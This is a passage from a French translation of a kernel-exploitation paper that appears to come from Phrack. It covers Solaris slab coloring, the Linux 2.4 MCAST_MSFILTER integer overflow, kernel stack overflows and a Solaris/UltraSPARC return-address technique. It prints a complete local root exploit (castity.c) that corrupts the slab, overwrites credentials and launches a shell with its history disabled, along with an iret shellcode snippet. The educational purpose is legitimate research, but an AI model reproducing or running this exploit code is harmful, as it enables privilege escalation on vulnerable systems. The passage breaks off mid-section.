SunOS principessa 5.9 Generic_118558-34 sun4u sparc SUNW,Ultra-5_10
# kstat -n file_cache | grep slab
slab_alloc 280
slab_create 2
slab_destroy 0
slab_free 0
slab_size 8192
# kstat -n file_cache | grep align
align 8
# kstat -n file_cache | grep buf_size
buf_size 56
# mdb -k
Loading modules: [ unix krtld genunix ip usba nfs random ptm ]
> ::sizeof kmem_slab_t
sizeof (kmem_slab_t) = 0x38
> ::kmem_cache ! grep file_cache
00000300005fed88 file_cache 0000 000000 56 290
> 00000300005fed88::print kmem_cache_t cache_mincolor
cache_mincolor = 0
> 00000300005fed88::print kmem_cache_t cache_maxcolor
cache_maxcolor = 0x10
> 00000300005fed88::print kmem_cache_t cache_color
cache_color = 0x10
> ::quit
Comme vous pouvez le voir, avec kstat, nous voyons que 2 slabs ont été
créés et nous en connaissont l'alignement, qui est 8. La taille des objets
est de 56 octets et la taille des structures de contrôles internes au slab
est de 56, aussi. Chaque slab fait 8192, qui, modulo 56, donne exactement
16, qui est la valeur de "maxcolor" (la plage des couleurs est donc de 0 à
16, ce qui laisse trois colorations possibles avec un alignement de 8).
D'après le morceau de code précédent, nous savons que la première
allocation a une couleur de 8 (mincolor == 0 + align == 8 ), la deuxième de
16 (qui est la valeur encore enregistrée dans le kmem_cache_t). Si nous
étions en train de lister les slabs et avions récupéré un autre, nous
sommes sur que nous aurions trouvé une couloration de 0.
Linux utilise ces coloration "circouleur" aussi, allez juste voir
l'incrémentation et la configuration de 'kmem_cache_t'->colour_next.
Les deux systèmes d'exploitation ne décrémentent pas les valeurs des
couleurs lors de la libération des slabs, donc, ça doit être aussi pris en
compte (facile à faire sous Solaris puisque slab_create est le nombre
maximum de slabs créés).
---[ 2.2.2 - Exploitation d'un débordement de Slab : MCAST_MSFILTER
Maintenant qu'on a les bases techniques pour comprendre et exploiter un
débordement de slab, il est temps pour un exemple pratique. Nous présentons
ici un exemple pour la vulnérabilité MCAST_MSFILTER [4] trouvée par les
gens d'iSEC :
< linux-2.4.24/net/ipv4/ip_sockglue.c >
case MCAST_MSFILTER:
{
struct sockaddr_in *psin;
struct ip_msfilter *msf = 0;
struct group_filter *gsf = 0;
int msize, i, ifindex;
if (optlen < GROUP_FILTER_SIZE(0))
goto e_inval;
gsf = (struct group_filter *)kmalloc(optlen,GFP_KERNEL); [2]
if (gsf == 0) {
err = -ENOBUFS;
break;
}
err = -EFAULT;
if (copy_from_user(gsf, optval, optlen)) { [3]
goto mc_msf_out;
}
if (GROUP_FILTER_SIZE(gsf->gf_numsrc) < optlen) { [4]
err = EINVAL;
goto mc_msf_out;
}
msize = IP_MSFILTER_SIZE(gsf->gf_numsrc); [1]
msf = (struct ip_msfilter *)kmalloc(msize,GFP_KERNEL); [7]
if (msf == 0) {
err = -ENOBUFS;
goto mc_msf_out;
}
[...]
msf->imsf_multiaddr = psin->sin_addr.s_addr;
msf->imsf_interface = 0;
msf->imsf_fmode = gsf->gf_fmode;
msf->imsf_numsrc = gsf->gf_numsrc;
err = -EADDRNOTAVAIL;
for (i=0; i<gsf->gf_numsrc; ++i) { [5]
psin = (struct sockaddr_in *)&gsf->gf_slist[i];
if (psin->sin_family != AF_INET) [8]
goto mc_msf_out;
msf->imsf_slist[i] = psin->sin_addr.s_addr; [6]
[...]
mc_msf_out:
if (msf)
kfree(msf);
if (gsf)
kfree(gsf);
break;
[...]
< / >
< linux-2.4.24/include/linux/in.h >
#define IP_MSFILTER_SIZE(numsrc) \ [1]
(sizeof(struct ip_msfilter) - sizeof(__u32) \
+ (numsrc) * sizeof(__u32))
[...]
#define GROUP_FILTER_SIZE(numsrc) \ [4]
(sizeof(struct group_filter) - sizeof(struct
__kernel_sockaddr_storage) \
+ (numsrc) * sizeof(struct __kernel_sockaddr_storage))
< / >
La vulnérabilité se cache dans un débordement d'entier [1], puisque nous
contrôlons la structure gsf (comme on peut le voir en [2] et [3]). La
vérification en [4] se montre être, initialement, un problème, qui se
trouve résolu grâce aux propriété des slabs qui ne nettoyent pas les objets
libérés (on reviendra là dessus bientôt). C'est dans la boucle for en [5]
que nous effectuons réellement le débordement, en écrivant, en [6], le
"psin->sin_addr.s_addr" passé via la structure gsf dans la structure msf
allouée précédement [7] (par kmalloc avec une valeur de msize mal
calculée). Cette boucle est une bénédiction, parce que grâce à la
vérification en [8], nous sommes capables d'éviter un problème classique de
bugs de débordement d'entier (c'est à dire écrire _beaucoup_ trop loin
après le buffer à cause de la valeur généralement immense utilisée pour
générer le débordement) et de terminer proprement via mc_msf_out.
Comme déjà expliqué, quand on décrivait la "première approche
d'exploitation", nous devons trouver quelques objets/données qui se
trouvent alloués (via kmalloc) dans le même slab et qui contiennent un
pointeur vers quelque valeur-cruciale qui nous permettrait de changer le
flux d'exécution.
Nous trouvons une telle solution dans la "struct shmid_kernel" :
< linux-2.4.24/ipc/shm.c >
struct shmid_kernel /* private to the kernel */
{
struct kern_ipc_perm shm_perm;
struct file * shm_file;
int id;
[...]
};
[...]
asmlinkage long sys_shmget (key_t key, size_t size, int shmflg)
{
struct shmid_kernel *shp;
int err, id = 0;
down(&shm_ids.sem);
if (key == IPC_PRIVATE) {
err = newseg(key, shmflg, size);
[...]
static int newseg (key_t key, int shmflg, size_t size)
{
[...]
shp = (struct shmid_kernel *) kmalloc (sizeof (*shp), GFP_USER);
[...]
}
< / >
Comme vous le voyez, la struct shmid_kernel fait 64 octets de long et est
allouée via un cache générique de kmalloc (dimensionné à 64) [nous pouvons
en allouer autant qu'on veut (jusqu'à remplir le slab) en utilisant des
appels subséquents "shmget"]. À l'intérieur, on trouve un pointeur vers un
"struct file", que nous pourrions faire pointer, grâce au débordement, vers
l'espace utilisateur, où nous émulerons toutes les structures nécessaires
pour générer une déréférencement de pointeur de fonction (c'est exactement
ce que l'exploit fait).
Maintenant, il est temps de forcer la valeur de msize à être > 32 et <= 64,
pour qu'elle soit allouée dans le même cache générique (dimensionné à 64).
Les "bonnes" valeurs pour gsf->gf_numsrc vont de 0x40000005 à 0x4000000c.
Mais ça génère un autre problème : puisque nous ne pouvons écrire que 4
octets pour chaque __kernel_sockaddr_storage présent dans la structure gsf,
nous avons besoin qu'il soit très grand pour atteindre le pointeur
"shm_file", et donc, nous devons passer une grosse valeur pour "optlen". La
plage 0x40000005 - 0x4000000c, de toute façon, fera que la macro
GROUP_FILTER_SIZE() utilisée en [4] l'évaluera comme petite et positive,
mais pas assez grand pour atteindre le pointeur "shm_file".
Nous résolvons ce problème grâce au fait qu'une fois qu'un objet est
libéré, son "contenu mémorie" n'est pas remis à zéro (ou nettoyé d'une
manière ou d'une autre). Puisque le copy_from_user en [3] a lieu _avant_ la
vérification en [4], nous sommes capables de créer une séquence d'objets de
taille 1024 en faisant échouer "setsockopt" (en [4]) plusieurs fois, et
donc, d'en obtenir un assez grand.
En espérant rendre les choses plus claires, résumons les étapes :
- Remplir les 1024 slabs pour qu'à la prochaine allocation, un tout
nouveau soit retourné ;
- Allouer le premier objet du nouveau slab-1024 ;
- Utiliser autant d' "échecs" de setsockopt que besoin pour copier des
valeurs dasn les objets 2 et 3 [et 4, si besoin, mais ce n'est pas le
cas en général] ;
- Libérer le premier objet :
- Utiliser une valeur plus petite (mais toujours pour aboutir dans le
slab-1024) pour optlen qui passera le test en [4].
À ce moment, le pointeur gsf pointe vers le premier objet dans notre slab
tout fraichement créé. Les objets 2 et 3 n'ont pas encore été ré-utilisés,
et contiennent toujours nos données. Puisque ces objets sont adjacents dans
le slab, nous avons une structure gsf de-facto plus grande (et grande
assez) pour atteindre le pointeur "shm_file".
Dernière note, pour remplire de manière sûre le slab, nous vérifions
/proc/slabinfo. L'exploit, appellé casify.c, a été écrit quand l'advisory a
été pubilé, et ne fonctionne que pour noyaux 2.4.* (la vulnérabilité
sys_epoll [12] était plus que suffisante pour les 2.6.* ;) ).
Voici l'exploit, sans les en-tête initiales, puisque l'approche a déjà été
énormément décrite plus haut.
< stuff/expl/linux/castity.c >
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#define __u32 unsigned int
#define MCAST_MSFILTER 48
#define SOL_IP 0
#define SIZE 4096
#define R_FILE "/etc/passwd" // Set it to whatever file you
can read. It's just for 1024 filling.
struct in_addr {
unsigned int s_addr;
};
#define __SOCK_SIZE__ 16
struct sockaddr_in {
unsigned short sin_family; /* Address family */
unsigned short int sin_port; /* Port number */
struct in_addr sin_addr; /* Internet address */
/* Pad to size of `struct sockaddr'. */
unsigned char __pad[__SOCK_SIZE__ - sizeof(short int) -
sizeof(unsigned short int) - sizeof(struct
in_addr)];
};
struct group_filter
{
__u32 gf_interface; /* interface index */
struct sockaddr_storage gf_group; /* multicast address */
__u32 gf_fmode; /* filter mode */
__u32 gf_numsrc; /* number of sources */
struct sockaddr_storage gf_slist[1]; /* interface index */
};
struct damn_inode {
void *a, *b;
void *c, *d;
void *e, *f;
void *i, *l;
unsigned long size[40]; // Yes, somewhere here :-)
} le;
struct dentry_suck {
unsigned int count, flags;
void *inode;
void *dd;
} fucking = { 0xbad, 0xbad, &le, NULL };
struct fops_rox {
void *a, *b, *c, *d, *e, *f, *g;
void *mmap;
void *h, *i, *l, *m, *n, *o, *p, *q, *r;
void *get_unmapped_area;
} chien;
struct file_fuck {
void *prev, *next;
void *dentry;
void *mnt;
void *fop;
} gagne = { NULL, NULL, &fucking, NULL, &chien };
static char stack[16384];
int gotsig = 0,
fillup_1024 = 0,
fillup_64 = 0,
uid, gid;
int *pid, *shmid;
static void sigusr(int b)
{
gotsig = 1;
}
void fatal (char *str)
{
fprintf(stderr, "[-] %s\n", str);
exit(EXIT_FAILURE);
}
#define BUFSIZE 256
int calculate_slaboff(char *name)
{
FILE *fp;
char slab[BUFSIZE], line[BUFSIZE];
int ret;
/* UP case */
int active_obj, total;
bzero(slab, BUFSIZE);
bzero(line, BUFSIZE);
fp = fopen("/proc/slabinfo", "r");
if ( fp == NULL )
fatal("error opening /proc for slabinfo");
fgets(slab, sizeof(slab) - 1, fp);
do {
ret = 0;
if (!fgets(line, sizeof(line) - 1, fp))
break;
ret = sscanf(line, "%s %u %u", slab, &active_obj, &total);
} while (strcmp(slab, name));
close(fileno(fp));
fclose(fp);
return ret == 3 ? total - active_obj : -1;
}
int populate_1024_slab()
{
int fd[252];
int i;
signal(SIGUSR1, sigusr);
for ( i = 0; i < 252 ; i++)
fd[i] = open(R_FILE, O_RDONLY);
while (!gotsig)
pause();
gotsig = 0;
for ( i = 0; i < 252; i++)
close(fd[i]);
}
int kernel_code()
{
int i, c;
int *v;
__asm__("movl %%esp, %0" : : "m" (c));
c &= 0xffffe000;
v = (void *) c;
for (i = 0; i < 4096 / sizeof(*v) - 1; i++) {
if (v[i] == uid && v[i+1] == uid) {
i++; v[i++] = 0; v[i++] = 0; v[i++] = 0;
}
if (v[i] == gid) {
v[i++] = 0; v[i++] = 0; v[i++] = 0; v[i++] = 0;
return -1;
}
}
return -1;
}
void prepare_evil_file ()
{
int i = 0;
chien.mmap = &kernel_code ; // just to pass do_mmap_pgoff check
chien.get_unmapped_area = &kernel_code;
/*
* First time i run the exploit i was using a precise offset for
* size, and i calculated it _wrong_. Since then my lazyness took
* over and i use that ""very clean"" *g* approach.
* Why i'm telling you ? It's 3 a.m., i don't find any better than
* writing blubbish comments
*/
for ( i = 0; i < 40; i++)
le.size[i] = SIZE;
}
#define SEQ_MULTIPLIER 32768
void prepare_evil_gf ( struct group_filter *gf, int id )
{
int filling_space = 64 - 4 * sizeof(int);
int i = 0;
struct sockaddr_in *sin;
filling_space /= 4;
for ( i = 0; i < filling_space; i++ )
{
sin = (struct sockaddr_in *)&gf->gf_slist[i];
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = 0x41414141;
}
/* Emulation of struct kern_ipc_perm */
sin = (struct sockaddr_in *)&gf->gf_slist[i++];
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = IPC_PRIVATE;
sin = (struct sockaddr_in *)&gf->gf_slist[i++];
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = uid;
sin = (struct sockaddr_in *)&gf->gf_slist[i++];
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = gid;
sin = (struct sockaddr_in *)&gf->gf_slist[i++];
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = uid;
sin = (struct sockaddr_in *)&gf->gf_slist[i++];
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = gid;
sin = (struct sockaddr_in *)&gf->gf_slist[i++];
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = -1;
sin = (struct sockaddr_in *)&gf->gf_slist[i++];
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = id/SEQ_MULTIPLIER;
/* evil struct file address */
sin = (struct sockaddr_in *)&gf->gf_slist[i++];
sin->sin_family = AF_INET;
sin->sin_addr.s_addr = (unsigned long)&gagne;
/* that will stop mcast loop */
sin = (struct sockaddr_in *)&gf->gf_slist[i++];
sin->sin_family = 0xbad;
sin->sin_addr.s_addr = 0xdeadbeef;
return;
}
void cleanup ()
{
int i = 0;
struct shmid_ds s;
for ( i = 0; i < fillup_1024; i++ )
{
kill(pid[i], SIGUSR1);
waitpid(pid[i], NULL, __WCLONE);
}
for ( i = 0; i < fillup_64 - 2; i++ )
shmctl(shmid[i], IPC_RMID, &s);
}
#define EVIL_GAP 4
#define SLAB_1024 "size-1024"
#define SLAB_64 "size-64"
#define OVF 21
#define CHUNKS 1024
#define LOOP_VAL 0x4000000f
#define CHIEN_VAL 0x4000000b
main()
{
int sockfd, ret, i;
unsigned int true_alloc_size, last_alloc_chunk, loops;
char *buffer;
struct group_filter *gf;
struct shmid_ds s;
char *argv[] = { "le-chien", NULL };
char *envp[] = { "TERM=linux", "PS1=le-chien\\$",
"BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null",
"PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin",
"HISTFILE=/dev/null", NULL };
true_alloc_size = sizeof(struct group_filter) - sizeof(struct
sockaddr_storage) + sizeof(struct sockaddr_storage) * OVF;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
uid = getuid();
gid = getgid();
gf = malloc (true_alloc_size);
if ( gf == NULL )
fatal("Malloc failure\n");
gf->gf_interface = 0;
gf->gf_group.ss_family = AF_INET;
fillup_64 = calculate_slaboff(SLAB_64);
if ( fillup_64 == -1 )
fatal("Error calculating slab fillup\n");
printf("[+] Slab %s fillup is %d\n", SLAB_64, fillup_64);
/* Yes, two would be enough, but we have that "sexy" #define, why
don't use it ? :-) */
fillup_64 += EVIL_GAP;
shmid = malloc(fillup_64 * sizeof(int));
if ( shmid == NULL )
fatal("Malloc failure\n");
/* Filling up the size-64 and obtaining a new page with EVIL_GAP
entries */
for ( i = 0; i < fillup_64; i++ )
shmid[i] = shmget(IPC_PRIVATE, 4096, IPC_CREAT|SHM_R);
prepare_evil_file();
prepare_evil_gf(gf, shmid[fillup_64 - 1]);
buffer = (char *)gf;
fillup_1024 = calculate_slaboff(SLAB_1024);
if ( fillup_1024 == -1 )
fatal("Error calculating slab fillup\n");
printf("[+] Slab %s fillup is %d\n", SLAB_1024, fillup_1024);
fillup_1024 += EVIL_GAP;
pid = malloc(fillup_1024 * sizeof(int));
if (pid == NULL )
fatal("Malloc failure\n");
for ( i = 0; i < fillup_1024; i++)
pid[i] = clone(populate_1024_slab, stack + sizeof(stack) -
4, 0, NULL);
printf("[+] Attempting to trash size-1024 slab\n");
/* Here starts the loop trashing size-1024 slab */
last_alloc_chunk = true_alloc_size % CHUNKS;
loops = true_alloc_size / CHUNKS;
gf->gf_numsrc = LOOP_VAL;
printf("[+] Last size-1024 chunk is of size %d\n",
last_alloc_chunk);
printf("[+] Looping for %d chunks\n", loops);
kill(pid[--fillup_1024], SIGUSR1);
waitpid(pid[fillup_1024], NULL, __WCLONE);
if ( last_alloc_chunk > 512 )
ret = setsockopt(sockfd, SOL_IP, MCAST_MSFILTER, buffer +
loops * CHUNKS, last_alloc_chunk);
else
/*
* Should never happen. If it happens it probably means that we've
* bigger datatypes (or slab-size), so probably
* there's something more to "fix me". The while loop below is
* already okay for the eventual fixing ;)
*/
fatal("Last alloc chunk fix me\n");
while ( loops > 1 )
{
kill(pid[--fillup_1024], SIGUSR1);
waitpid(pid[fillup_1024], NULL, __WCLONE);
ret = setsockopt(sockfd, SOL_IP, MCAST_MSFILTER, buffer +
--loops * CHUNKS, CHUNKS);
}
/* Let's the real fun begin */
gf->gf_numsrc = CHIEN_VAL;
kill(pid[--fillup_1024], SIGUSR1);
waitpid(pid[fillup_1024], NULL, __WCLONE);
shmctl(shmid[fillup_64 - 2], IPC_RMID, &s);
setsockopt(sockfd, SOL_IP, MCAST_MSFILTER, buffer, CHUNKS);
cleanup();
ret = (unsigned long)shmat(shmid[fillup_64 - 1], NULL,
SHM_RDONLY);
if ( ret == -1)
{
printf("Le Fucking Chien GAGNE!!!!!!!\n");
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execve("/bin/sh", argv, envp);
exit(0);
}
printf("Here we are, something sucked :/ (if not L1_cache too big,
probably slab align, retry)\n" );
}
< / >
------[ 2.3 - Vulnérabilités de débordement dans la pile
Quand un processus est en "mode noyau", il a une pile qui est différente de
celle qu'il utilise en mode utilisateur. Nous l'appellerons "pile noyau".
La pile noyau est d'habitude limitée en taille à une paire de pages (sous
linux, par exemple, c'est 2 pages, 8kb, mais une option à la compilation
existe pour pouvoir la limiter à une page) et ce n'est pas une surprise si
une pratique de conception commune dans le développement de code noyau est
d'utiliser, localement à une fonction, aussi peut d'espace dans la pile que
possible.
Au premier coup d'oeil, on peut imaginer deux scénarios différents qui
peuvent avoir le nom de "vulnérabilité de débordement depile" :
- Vulnérabilités de débordement de pile "standarde" : une écriture en
dehors du buffer sur la pile écrase le pointeur de sauvegarde
d'instruction ou le pointeur de cadre (seulement Solaris, Linux est
compilé avec -fomit-frame-pointer) ou quelques variables (souvent un
pointeur) aussi stocké sur la pile ;
- "débordement de la taille de la pile" : une suite d'appels profondément
imbriqués fini par dépasser l'espace alloué à la pile.
L'exploitation basée sur la pile est plus spécifique à l'architecture et à
l'OS. que les exploitations déjà présentées basées sur les slabs. C'est du
au fait qu'une fois que la pile est cassée nous récupérons le flux
d'exécution, mais nous devons trouver un moyen de retourner vers l'espace
utilisateur. Nous ne donneront pas les détails pour l'architecture x86,
puisqu'ils ont déjà été très bien expliqués par noir dans son papier du
phrack60 [13].
Nous allons plutôt nous concentrer sur l'architecture UltraSPARC et sur son
système d'exploitation le plus habituel, Solaris. La prochaine section vous
décrira les détails intéressants et présentera une technique qui est
adaptée aussi pour l'exploitation des débordements dans les slabs (ou plus
généralement toute les vulnérabilités de "redirection du flux contrôlée").
L'architecture AMD64 ne sera pas couverte, puisqu'elle est notre
"architecture d'exemple" pour la prochaine sorte de vulnérabilité (race
condition). L'exploit sendmsg [5] proposé plus loins est, finalement, un
exploit basé sur la pile.
Juste avant de continuer dans la section sur UltraSPARC, nous allons donner
quelques mots sur les besoins de retour-au-ring3 sur architecture x86 et
l'utilisation de la pile par Linux (puisque c'est assez diférent de sous
Solaris).
Linux regroupe ensemble la pile et les structures associées à chaque
processus du système (sous Linux 2.4 c'est directement dans la task_struct,
sous 2.6 c'est dans la thread_info, qui est plus petite et contient un
pointeur vers la task_struct). Cette zone mémoire fait, par défaut, 8Kb
(une option du noyau permet de la restreindre à 4Kb), c'est la taille de
deux pages, qui sont allouées l'une après l'autre et dont la première est
alignée sur un multiple de 2^13. L'adresse de thread_struct (ou de
task_struct) et donc calculée à l'exécution en masquant les 13 bits de
points faible de la Pile Noyau (%esp).
La pile commence au pied de cette page et "grandis" vers le haut, où
thread_info (ou task_struct) est stocké. Pour éviter le "deuxième" type de
débordement, quand la pile de 4Kb est sélectionnée à la compilation, le
noyau utilise deux piles par-CPU annexes, une pour la gestion des
interruptions et une pour les fonctions softirq et tasklets, les deux de la
taille d'une page.
C'est évidement sur la pile que Linux stocke toutes les informations
nécessaires pour finir une exception, interruption ou appel de fonction, et
logiquement, pour revenir au ring3, par exemple en utilisant l'instruction
iret. Si nous voulons utiliser l'instruction "iret" dans nos shellcodes
pour quitter proprement le mode noyau, nous devons préparer un faux cadre
de pile comme il espère le trouver.
Nous devons fournir :
- Un pointeur de pile valide en espace utilisateur
- Un pointeur d'instruction valide en espace utilisateur
- Des registres EFLAGS et EFLAGS sauvegardé valides
- Un segment de code utilisateur valide
- Un segment de pile utilisateur valide
ADRESSES BASSES
+-----------------+
| |
| User SS | -+
| User ESP | |
| EFLAGS | | Faux cadre Iret
| User CS | |
| User EIP | -+ <----- ESP courant
| |
+-----------------+
Nous avons ajouté un exploit sur la pile démonstratif (pour le driver
factice Linux) qui implémente un shellcode qui effectue cette approche de
récupération :
movl $0x7b,0x10(%esp) // segment de pile utilisateur (SS)
movl $stack_chunk,0xc(%esp) // pointeur de pile utilisateur (ESP)
movl $0x246,0x8(%esp) // EFLAG sauvegardé valide
movl $0x73,0x4(%esp) // segment de code utilisateur (CS)
movl $code_chunk,0x0(%esp) // pointeur de code utilisateur (EIP)
iret
Vous pouvez le trouver dans < expl/linux/stack_based.c >
---[ 2.3.1 - Exploitation UltraSPARC
UltraSPARC [14] est une implémentation complète de l'architecture SPARC V9
64-bits [2]. Sa partie la plus "intéressante" d'un point de vue de
l'exploitation est le support qu'il donne au système d'exploitation pour
avoir des espaces d'adressages utilisateur et noyau complètement séparés.
C'est effectué via l'utilisation de registres de contextes et
d'identificateurs d'espaces d'adressages "ASI" [Address Space Identifiers].
Le MMU UltraSPARC fourni deux registres de contexte configurables, le
primaire (PContext) et le secondaire (SContext). Et un registre
supplémentaire cablé à zéro est fournis, qui est le registre nucléaire [NDT
: nucléaire, le noyau des atomes.... ] (le "contexte" 0 est là ou vit le
noyau). On associe à chaque espace d'adressage des processus une "valeur de
contexte", qui est mise dans le registre PContext pendant son exécution.
Cette valeur est utilisée pour effectuer des translation d'adresses
mémoires.
Chaque fois qu'un processus lance une "trap instruction" [NDT : instruction
synchrone bloquante, style appel-système, interruption, ...] pour accéder
au mode noyau (par exemple la ta 0x8 ou la ta 0x40, qui sont la manière
dont sont implémentés les appels systèmes sous Solaris 10), le contexte
nucléaire est remis à sa valeur par défaut. La valeur du contexte du
processus (enregistré dans PContext) est alors envoyé dans SContext, et le
contexte nucléaire est alors pris comme le "contexte primaire".
À ce point, le code noyau peut accéder directement au mode utilisateur en
spécifiant le bon ASI pour charger et stocker des instructions alternatives
(instructinos qui supportent d'être spécifiée directement par ASI -
lda/sta). En gros, les identificateurs d'espace d'adressages (ASI)
spécifient comment ces instructions doivent se comporter :
< usr/src/uts/sparc/v9/sys/asi.h >
#define ASI_N 0x04 /* nucleus */
#define ASI_NL 0x0C /* nucleus little */
#define ASI_AIUP 0x10 /* as if user primary */
#define ASI_AIUS 0x11 /* as if user secondary */
#define ASI_AIUPL 0x18 /* as if user primary little */
#define ASI_AIUSL 0x19 /* as if user secondary little */
[...]
#define ASI_USER ASI_AIUS
< / >
Ce sont les ASI qui sont définis par la référence SPARC v9 (beaucoup d'ASI
sont dépendantes de la machine et permettent de modifier, par exemple, le
MMU ou d'autres registres matériels, voir usr/src/uts/sun4u/sys/machasi.h),
la version "little" est utilisée pour spécifier l'ordre des octets par
rapport à celui "standard", big endian [NDT : big endian s'oppose à littel
indian] (SPARC v9 veut accéder aux données dans les deux formats).
Le ASI_USER est celui utilisé pour acceder, depuis le noyau, l'espace
utilisateur. Une instruction comme la suivante :
ldxa [addr]ASI_USER, %l1
va juste charger le mot double stocké à "addr", relativement au contexte
d'espace d'adressage stocké dans PContext, "comme si" il était accédé
depuis le mode utilisateur (et donc avec toutes les vérifications de
protection).
Il est donc possible, si nous sommes capables d'exécuter un morceau minimal
de code, de copier des octets à partir de l'espace utilisateur vers où nous
voulons dans l'espace noyau.
Mais comment exécuter notre code d'abord ? Ou, pour rendre les choses plus
claires, où devons nous retourner une fois que nous avons effectué notre
débordement (slab/pile) et pris le contrôle du pointeur d'instruction ?
Pour compliquer un peu plus les choses, l'architecture UltraSPARC
implémente le bits de permission d'exécution sur les TTE (Translation Table
Entry, qui sont les entrées de la TLB utilisées pour les translations
virtuelles/physiques).
Il est temps de jeter un coup d'oeil à l'implémentation du noyau Solaris
pour trouver une solution. La technique que nous allons vous présenter
maintenant (comme vous allez rapidement vous en rendre compte) n'est pas
limitée à l'exploitation basée sur la pile, mais peut être utilisée chaque
fois que vous êtes capables de rediriger le flot d'instruction noyau vers
une adresse arbitraire.
---[ 2.3.2 - Un exploit fiable pour Solaris/UltraSPARC
Le modèle de processus de Solaris est légèrement différent de celui de
Linux. L'unité fondamentale de l'ordonnancement est le "thread noyau"
(décrit par la structure kthread_t), donc, on doit en associer un à chaque
LWP (light-weight process) existant dans un processus. Les LWP's sont juste
des objets noyaux qui représentent "l'état noyau" de chaque "thread
utilisateur" danas un processus, leur permettant à chacun d'entrer dans le
noyau indépendament des autres (sans LWP, les threads utilisateurs se
battraient à chaque appel système).
Les informations relative à un "processus en route" sont disséminées dans
différentes structures. Voyons ce qu'on peut en faire. Chaque Système
d'Exploitation (et Solaris ne fait pas exception) a une manière de
récupérer rapidement le "processus courant". Sous Solaris, c'est le
"current kernel thread" et est obtenu, sur UltraSPARC, par :
#define curthread (threadp())
< usr/src/uts/sparc/ml/sparc.il >
! return current thread pointer
.inline threadp,0
.register %g7, #scratch
mov %g7, %o0
.end
< / >
Il est donc stocké dans le registre globale %g7. Depuis la structure
kthread_t, nous pouvons accéder à toutes les autres structures "relative au
processus". Puisque nos but principal est de récupérer des privilèges, nous
sommes intéressés à la manière dont Solaris stocke les permissions.
Celles-ci sont stockées dans la structure cred_t [NDT : cred pour
"credential"] pointée par la structure proc_t :
# mdb -k
Loading modules: [ unix krtld genunix ip usba nfs random ptm ]
> ::ps ! grep snmpdx
R 278 1 278 278 0 0x00010008 0000030000e67488 snmpdx
> 0000030000e67488::print proc_t
{
p_exec = 0x30000e5b5a8
p_as = 0x300008bae48
p_lockp = 0x300006167c0
p_crlock = {
_opaque = [ 0 ]
}
p_cred = 0x3000026df28
[...]
> 0x3000026df28::print cred_t
{
cr_ref = 0x67b
cr_uid = 0
cr_gid = 0
cr_ruid = 0
cr_rgid = 0
cr_suid = 0
cr_sgid = 0
cr_ngroups = 0
cr_groups = [ 0 ]
}
> ::offsetof proc_t p_cred
offsetof (proc_t, p_cred) = 0x20
> ::quit
#
La sortie de la commande "::ps" introduit une fonctionnalité très
intéressante du système d'exploitation Solaris, qui est bénédiction pour
l'exploitation. L'adresse de la structure proc_t dans le noyau est exportée
vers l'espace utilisateur :
bash-2.05$ ps -aef -o addr,comm | grep snmpdx
30000e67488 /usr/lib/snmp/snmpdx
bash-2.05$
Au premier coup d'oeil ça ne parrait pas d'un grand intéret, puisque comme
on l'a dit, la structure kthread_t contient un pointeur vers sa proc_t
relative :
> ::offsetof kthread_t t_procp
offsetof (kthread_t, t_procp) = 0x118
> ::ps ! grep snmpdx
R 278 1 278 278 0 0x00010008 0000030000e67488 snmpdx
> 0000030000e67488::print proc_t p_tlist
p_tlist = 0x30000e52800
> 0x30000e52800::print kthread_t t_procp
t_procp = 0x30000e67488
>
Pour comprendre plus précisément pourquoi l'adresse exportée est si
importante, nous devons regarder plus profondément la structure proc_t.
Cette structure contient la structure user_t, qui garde des informations
comme le nom du programme, ses valeurs d'argc/argv, ... :
> 0000030000e67488::print proc_t p_user
[...]
p_user.u_ticks = 0x95c
p_user.u_comm = [ "snmpdx" ]
p_user.u_psargs = [ "/usr/lib/snmp/snmpdx -y -c /etc/snmp/conf" ]
p_user.u_argc = 0x4
p_user.u_argv = 0xffbffcfc
p_user.u_envp = 0xffbffd10
p_user.u_cdir = 0x3000063fd40
[...]
On peut en contrôler beaucoup d'entre eux. Plus important, les pages qui
contiennent les process_cache (et donc la structure user_t), ne sont pas
marquées de non-exécution, nous pouvons donc exécuter du code qui y serait
(par exemple, la pile noyau, alloéue à partir du segment seg_kp [kernel
pageable memory], n'est pas exécutable).
Voyons comment "u_psargs" est déclaré :
< usr/src/common/sys/user.h >
#define PSARGSZ 80 /* Space for exec arguments (used by
ps(1)) */
#define MAXCOMLEN 16 /* <= MAXNAMLEN, >= sizeof (ac_comm) */
[...]
typedef struct user {
/*
* These fields are initialized at process creation time and never
* modified. They can be accessed without acquiring locks.
*/
struct execsw *u_execsw; /* pointer to exec switch entry */
auxv_t u_auxv[__KERN_NAUXV_IMPL]; /* aux vector from exec */
timestruc_t u_start; /* hrestime at process start */
clock_t u_ticks; /* lbolt at process start */
char u_comm[MAXCOMLEN + 1]; /* executable file name from exec
*/
char u_psargs[PSARGSZ]; /* arguments from exec */
int u_argc; /* value of argc passed to main()
*/
uintptr_t u_argv; /* value of argv passed to main()
*/
uintptr_t u_envp; /* value of envp passed to main()
*/
[...]
< / >
L'idée est simple : nous mettons notre shellcode sur la ligne de commande
de notre exploit (sans "zéros") et nous calculons depuis l'adresse exportée
de proc_t, l'adresse de retour exacte. C'est assez pour exploiter toutes
ces situations où nous avons le contrôle du flux d'exécution _sans_ casser
la pile (écrasement de pointeur d'instruction, débordement de slab, ...).
Nous devons nous souvenir de prendre garde à l'alignement, puisque les
"fetch unit" [NDT : partie qui vont chercher les instructions en mémoire]
d'UltraSPARC génèrent une exception si l'adresse où elles doivent lire
l'instruction n'est pas alignée sur 4 octet (qui est la taille de toutes
les instructions sparc) :
> ::offsetof proc_t p_user
offsetof (proc_t, p_user) = 0x330
> ::offsetof user_t u_psargs
